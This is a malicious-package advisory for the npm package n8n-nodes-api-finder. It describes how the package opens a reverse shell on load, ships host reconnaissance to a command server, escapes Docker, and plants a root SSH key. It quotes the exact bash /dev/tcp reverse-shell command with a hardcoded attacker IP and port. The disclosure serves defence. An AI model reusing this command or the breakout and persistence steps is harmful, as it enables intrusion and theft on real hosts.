MAL-2026-10774

Dashboard / Malicious Package / MAL-2026-10774

MAL-2026-10774

Summary: Malicious code in n8n-nodes-api-finder (npm)

Details: Source: amazon-inspector (9bf8daf2e1d5bbbd97f3f8e6a31787ac5cd44c7d7f52c0228210bc0a8a7ed89c) Package advertises itself as an n8n community node (package.json declares an n8n node MyNode.js, a benign 'API Finder' shim), but package.json main points to index.js, which runs a malicious payload on require/load. index.js opens a bash reverse shell to hardcoded C2 103.27.109.184:8895 via cp.spawn('/bin/bash', ['-c', 'exec 3<>/dev/tcp/103.27.109.184/8895; bash -i <&3 >&3 2>&3']). It also collects host reconnaissance (hostname, id, hostname -I, docker ps, kubelet/kube config reads, environment variables) and ships it over raw TCP to 103.27.109.184:8890 and:8891. It attempts two Docker breakouts (bind-mount of / into an alpine container, and a privileged --pid=host nsenter) to append a hardcoded ed25519 public key labelled 'n8n-backdoor' to /root/.ssh/authorized_keys on the underlying host and chmod 600 the file, establishing persistent attacker root SSH access. It further docker-execs into a hardcoded Evolution API container to log in with admin credentials and reads /etc/kubernetes/kubelet.conf and /root/.kube/config from the host via bind-mount, forwarding results to the same C2. Two identical copies of the payload are shipped (index.js and package/index.js). Source: ossf-package-analysis (2a12be5825677f0fa5f08f1fc7866257d0b73612c6358c83c058501762532a44) The OpenSSF Package Analysis project identified 'n8n-nodes-api-finder' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

References: https://www.npmjs.com/package/n8n-nodes-api-finder/v/1.0.2, https://www.npmjs.com/package/n8n-nodes-api-finder/v/1.0.1, https://www.npmjs.com/package/n8n-nodes-api-finder/v/1.0.0